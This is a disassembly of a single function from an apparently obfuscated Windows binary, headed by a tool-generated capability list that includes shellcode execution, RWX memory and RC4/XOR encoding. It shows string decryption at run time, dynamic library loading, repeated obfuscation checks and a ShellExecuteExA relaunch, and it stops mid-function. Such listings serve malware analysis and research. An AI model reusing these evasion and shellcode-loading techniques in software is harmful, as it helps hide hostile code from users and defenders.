Function at 0x140028784
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.1400975e0
sub rsp, rax
mov rax, qword [0x1400ea700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x58]
mov ebx, 0x4948ce87
mov r15d, 0x13728509
mov r12d, 0x563979c8
cmp rax, r12
jne 0x14002888a
mov rcx, qword gs:[8]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002886a
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002886a
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002888a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov ecx, r12d
call fcn.140002ba4
mov rax, qword gs:[0x58]
mov r13d, 0x8d664a41
cmp rax, r12
jne 0x140028942
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028922
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028922
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028942
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
movabs rsi, 0x6d643a356b9160c0
cmp rax, r12
jne 0x1400289f6
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400289d6
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400289d6
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400289f6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov ecx, r12d
call fcn.140027cf4
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140028ab7
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028a97
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028a97
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028ab7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140028b61
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028b41
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028b41
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028b61
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
lea rdx, [0x1400dc2c0]
lea rcx, [rbp + 0xb60]
call fcn.140002568
mov rdx, rax
mov ecx, r12d
call fcn.140004bc0
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140028c38
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028c18
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028c18
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028c38
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140028ce2
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028cc2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028cc2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028ce2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov dword [rbp + 0xf8], 0xc5b566e2
mov dword [rbp + 0xfc], 0x2934d56c
mov word [rbp + 0x100], 0xbf
xor r14d, r14d
mov edi, r14d
movabs rsi, 0x1092e4720
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xf8]
lea rcx, [rbp + 0xf8]
call fcn.1400380d0
xor al, dil
mov byte [rbp + rdi + 0xf8], al
inc rdi
cmp rdi, 9
jb 0x140028d0f
mov byte [rbp + 0x101], r14b
lea rcx, [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x58]
cmp rax, r12
movabs rsi, 0x6d643a356b9160c0
jne 0x140028e1a
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028dfa
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028dfa
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028e1a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140028ec4
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028ea4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028ea4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028ec4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov dword [rbp + 0x208], 0x3db213c0
mov dword [rbp + 0x20c], 0xbe2a8b56
mov dword [rbp + 0x210], 0x90017fe6
xor eax, eax
mov byte [rbp + 0x214], al
mov rdi, r14
movabs rsi, 0x1092e4720
mov qword [rsp + 0x20], rsi
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x208]
lea rcx, [rbp + 0x208]
call fcn.140037d2c
xor al, dil
mov byte [rbp + rdi + 0x208], al
inc rdi
cmp rdi, 0xc
jb 0x140028ef7
mov byte [rbp + 0x214], r14b
lea rcx, [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x58]
cmp rax, r12
movabs rsi, 0x6d643a356b9160c0
jne 0x140028ff3
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028fd3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028fd3
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028ff3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140027f48
test eax, eax
jne 0x14002929f
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c0e40
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140029110
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c0e40
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0x7a29fa74
mov word [rbp - 0x6c], 0xca
movabs rsi, 0x1092e4720
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14003805c
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140029080
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400379b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14002911a
movabs rsi, 0x1092e4720
mov word [rsp + 0x78], 0xa8
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xa8
lea rcx, [rsp + 0x78]
call fcn.140037f04
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0xb40]
call fcn.140027dc8
mov rbx, rax
movdqa xmm0, xmmword [0x1400dfda0]
movdqu xmmword [rbp + 0xc00], xmm0
movdqa xmm1, xmmword [0x1400dfe80]
movdqu xmmword [rbp + 0xc10], xmm1
mov dword [rbp + 0xc20], 0x2bdeffef
mov dword [rbp + 0xc24], 0xfda19603
mov dword [rbp + 0xc28], 0xf6769d15
mov word [rbp + 0xc2c], Ordinal_41
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc00]
lea rcx, [rbp + 0xc00]
call fcn.140037fe8
xor al, dil
mov byte [rbp + rdi + 0xc00], al
inc rdi
cmp rdi, 0x2d
jb 0x14002919f
mov byte [rbp + 0xc2d], r14b
mov r8, rbx
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0xb20]
call fcn.14003907c
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x1120]
call fcn.14003923c
lea rcx, [rbp + 0xb20]
call fcn.140038b94
lea rcx, [rbp + 0xb40]
call fcn.140038b94
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x2b0], xmm0
mov word [rbp + 0x2c0], Ordinal_200
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2b0]
lea rcx, [rbp + 0x2b0]
call fcn.140037ae4
xor al, dil
mov byte [rbp + rdi + 0x2b0], al
inc rdi
cmp rdi, 0x11
jb 0x140029238
mov byte [rbp + 0x2c1], r14b
lea rcx, [rbp + 0x1120]
call fcn.1400387e8
xor r9d, r9d
lea r8, [rbp + 0x2b0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029349
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029329
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029329
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029349
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029408
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400293e8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400293e8
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029408
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x1400294b2
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029492
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029492
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400294b2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x14002955c
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002953c
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002953c
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002955c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029615
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400295f5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400295f5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029615
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
xor ecx, ecx
call fcn.14009f0b4
mov rbx, rax
mov word [rsp + 0x7c], 0xf3
movabs r13, 0x1092e4720
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0xf3
lea rcx, [rsp + 0x7c]
call fcn.140037f04
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0xfe7561a6
mov word [rbp - 0x5c], 0xe313
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140037da4
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x140029668
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe58]
call fcn.1400a2594
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029759
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029739
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029739
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029759
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029814
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400297f4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400297f4
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029814
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov ecx, 2
call fcn.14009f0b4
mov rbx, rax
mov word [rbp - 0x80], 0xf6
movabs r13, 0x1092e4720
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0xf6
lea rcx, [rbp - 0x80]
call fcn.140037f04
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x30], 0x1fd20200
mov dword [rbp - 0x2c], 0x3bfc95
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140037f74
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x140029862
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe58]
call fcn.1400a2594
mov rax, qword gs:[0x58]
cmp rax, r12
mov r13d, 0x8d664a41
jne 0x140029958
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029938
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029938
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029958
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029a02
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400299e2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400299e2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029a02
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov ecx, 1
call fcn.14009f0b4
mov rbx, rax
mov word [rbp - 0x7c], 0xf6
movabs rsi, 0x1092e4720
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xf6
lea rcx, [rbp - 0x7c]
call fcn.140037f04
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x28], 0x1fd20200
mov dword [rbp - 0x24], 0x3bfc95
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x28]
lea rcx, [rbp - 0x28]
call fcn.140037f74
xor al, dil
mov byte [rbp + rdi - 0x28], al
inc rdi
cmp rdi, 7
jb 0x140029a50
mov byte [rbp - 0x21], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0xe58]
call fcn.1400a2594
mov rax, qword gs:[0x58]
cmp rax, r12
movabs rsi, 0x6d643a356b9160c0
mov ebx, 0x4948ce87
jne 0x140029b5d
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029b3d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029b3d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029b5d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029c07
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029be7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029be7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029c07
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400e0000]
movdqu xmmword [rbp + 0xd20], xmm0
movdqa xmm1, xmmword [0x1400e0070]
movdqu xmmword [rbp + 0xd30], xmm1
movdqa xmm0, xmmword [0x1400dff30]
movdqu xmmword [rbp + 0xd40], xmm0
mov dword [rbp + 0xd50], 0x5859909d
mov dword [rbp + 0xd54], 0xabd61c31
mov dword [rbp + 0xd58], 0x6e62a2a0
mov word [rbp + 0xd5c], 0x94c
xor eax, eax
mov byte [rbp + 0xd5e], al
mov rdi, r14
movabs r13, 0x1092e4720
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd20]
lea rcx, [rbp + 0xd20]
call fcn.140037e90
xor al, dil
mov byte [rbp + rdi + 0xd20], al
inc rdi
cmp rdi, 0x3e
jb 0x140029c73
mov byte [rbp + 0xd5e], r14b
lea rcx, [rbp + 0xd20]
call fcn.14000240c
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029d64
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029d44
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029d44
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029d64
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, r12
jne 0x140029e1d
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029dfd
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029dfd
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029e1d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dffc0]
movdqu xmmword [rbp + 0xbd0], xmm0
movdqa xmm1, xmmword [0x1400e0050]
